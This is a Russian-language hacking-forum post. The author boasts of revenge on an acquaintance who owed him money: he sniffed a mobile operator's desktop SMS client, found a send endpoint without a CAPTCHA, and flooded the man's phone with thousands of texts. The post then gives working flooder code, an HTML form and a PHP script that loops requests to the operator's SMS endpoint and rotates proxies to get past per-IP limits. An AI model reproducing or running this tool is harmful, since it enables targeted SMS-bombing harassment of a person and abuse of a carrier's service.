Форум АНТИЧАТ - Как я зафлудил билайн

Однажды мой знакомый киданул меня на 300$. Я довольно не плохо знал этого человека. Знал его имя, город в котором он живёт и номер его мобильника. Конечно ехать и убивать его за 9 тысячь рублей я не стал =) Но зато решил поглумиться и зафлудить его мобилу смсками. Все наверное знают, что с сайтов операторов можно отправлять смс сообщения - этим я и решил воспользоваться. Через минуту я узнал, что оператор кидалы довольно популярный билайн, который я и сам юзаю =). Потопал я на сайт билайна и нашел там форму отправки смс. И тут облом. Картинка защиты. Обойти методом подмены её не получилось, а о расспознание я и не думал, уж очень навороченая картинка для меня. Тогда я начал тупо ходить по сайту билайна, с каждой секундой всё сильнее признавая своё поражение. Тут я наткнулся на прогу, с помощью, которой как увиряют разработчики можно отсылать смс сообщения прямо с домашнего компьютера. Интересно, надо скачать подумал я. Скачал-поставил. Ага, работает. Ну и?! И тут я вдруг понял, что в этой программе нет никаких картинок защиты, в отличие от формы на сайте. Ну и раз программа отправляет смс сообщения без ввода кодов на картинке защиты значет и я могу. Я проснифил весь исходящий трафик от этой проги netsnifer'ом и увидел обычные http запросы. Через минуту был написан простенкий скрипт для флуда моего недруга. А еще через мгновение его телефон был закидан тысячями сообщений. Такая вот веселая история, не дай Бог никому =).
Ах да, сам код флудера. Чуть не забыл =)

INDEX.HTML :

Код:

<html>

<center>

<form name="tele2" action="send.php" method="POST">

<h3>Phone</h3><br>

<input name="phone" value="" type="text" size="14" maxlength="12"><br>

<h3>Count of messages</h3><br>

<input name="count" value="10" type="text" size="14" maxlength="12"><br>

<h3>Message text</h3><br>

<textarea name="message" rows="5" cols="40"></textarea><br>

<input name="submit" type="submit" value="Start spam">

</center>

</html>

Код:

<?

ini_set("error_log",'errors.txt');

ini_set("log_errors",'1');



echo '<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">';

set_time_limit(0);

$log=fopen("log.txt","w+");

$proxy="";

$proxycount=0;

$proxyf=file("proxy.txt");



function setproxy(){

global $proxy;

global $proxycount;

global $proxyf;

if (count($proxyf)==0) die;

if ($proxycount==count($proxyf))

  {

   {$proxy=$proxyf[0];$proxycount=0;exit;}

  }

$proxy=trim($proxyf[$proxycount]);

$proxycount=$proxycount+1;

printandlog("Set proxy - ".$proxy);

}



function printandlog($text){

global $log;

fputs($log,$text."\r\n");

echo $text.'<br>';

flush();

}



function send($num,$message){

  global $proxy;

   //$message=urlencode($message);

  $cr=curl_init("http://www.beonline.ru/servlet/send/sms/");

  curl_setopt($cr, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)");

  curl_setopt($cr, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);

  curl_setopt($cr, CURLOPT_TIMEOUT, 20);

  curl_setopt($cr, CURLOPT_HEADER, 1);

  curl_setopt($cr, CURLOPT_POSTFIELDS, "phone=".$num."&number_sms=number_sms_send&prf=7909&termtype=G&message=".$message."&translit=&x=5&y=4");

  curl_setopt($cr, CURLOPT_RETURNTRANSFER, 1);

  curl_setopt($cr, CURLOPT_REFERER, "http://BeeOnLine-Express");

  curl_setopt($cr,CURLOPT_PROXY,$proxy);

  $r = curl_exec($cr);

  if (curl_error($cr))

    {

     return 'connection_error';

     curl_close($cr);

     exit;

    }

  curl_close($cr);

echo $r;

if (StrPos($r,"с данного IP-адреса")<>false) return "notsend";else

return "send";

}



if (!isset($_POST["phone"])) die;

if (!isset($_POST["count"])) die;

if (!isset($_POST["message"])) die;

printandlog("Spam start");

printandlog("Found ".count($proxyf)." proxy");

for ($i=1;$i<=$_POST["count"];$i++)

{

  while(1==1)

    {

      $tem=send(trim($_POST["phone"]),$message);

      if ($tem<>"send") setproxy(); else break;

    }

  printandlog($i." - Send");

}

printandlog("All message send ok");

?>

Кому надо разберётся, что тут да как ;)